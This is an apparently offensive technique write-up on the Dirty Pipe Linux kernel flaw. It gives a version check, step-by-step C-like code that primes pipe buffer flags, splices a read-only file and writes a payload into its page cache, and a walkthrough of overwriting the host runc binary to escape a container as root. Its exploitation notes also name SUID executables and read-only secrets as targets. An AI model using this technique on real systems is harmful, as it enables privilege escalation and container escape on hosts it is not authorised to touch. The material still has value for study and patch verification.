Dirty Pipe is a kernel bug in the pipe subsystem where the PIPE_BUF_FLAG_CAN_MERGE flag on a pipe buffer is not reinitialised when the buffer is reused. By first filling and draining a pipe to leave the flag set, then splice-ing a page of a read-only target file into the pipe, a subsequent write to the pipe is merged into the spliced page and overwrites the file's page cache. The write succeeds even though the file was opened read-only and even if the attacker has no write permission, because it goes through the page cache rather than the normal write path. It cannot change the file size and cannot touch the first byte of a page, but within those limits it is an arbitrary overwrite of any readable file.
Confirm the kernel is in the vulnerable range:
uname -r # affected 5.8 up to the fixed 5.16.11/5.15.25/5.10.102 line
Technique#
// 1. Mark the pipe buffer mergeable: fill the pipe, then read it all back
for(size left = pipe_size; left; ) left -= write(p[1], buf, min(left,sizeof buf));
for(size left = pipe_size; left; ) left -= read(p[0], buf, min(left,sizeof buf));
// 2. Splice one byte of the read-only target at the page boundary into the pipe
int f = open(target, O_RDONLY);
loff_t off = page_offset - 1; splice(f, &off, p[1], NULL, 1, 0);
// 3. Write the payload: it merges into the cached page, overwriting the file
write(p[1], payload, payload_len);
The splice of a single byte primes the page reference; the following write lands at page_offset in the file's page cache.
Escape target: overwrite runc#
The canonical container escape overwrites the host runc binary. A container process opens the on-disk runc (reachable through the overlay or a shared read-only path), uses Dirty Pipe to patch its code or embed a #!-style payload, and the next time the runtime invokes runc on the host (any container create, start, or exec), the attacker's code runs as root on the host. Because runc runs as root for every container operation, this is a clean, reliable escape.
Exploitation notes#
- The overwrite cannot alter file length or the first byte of the target page; exploits choose an offset and payload that fit, which is why overwriting an existing binary's code or a config line is preferred over appending.
- Targets must be in the page cache and readable; the host
runcbinary, a shared SUID executable, or a read-only mounted secret all qualify. - Patched kernels reinitialise the flag; verify
uname -ris in the vulnerable range first.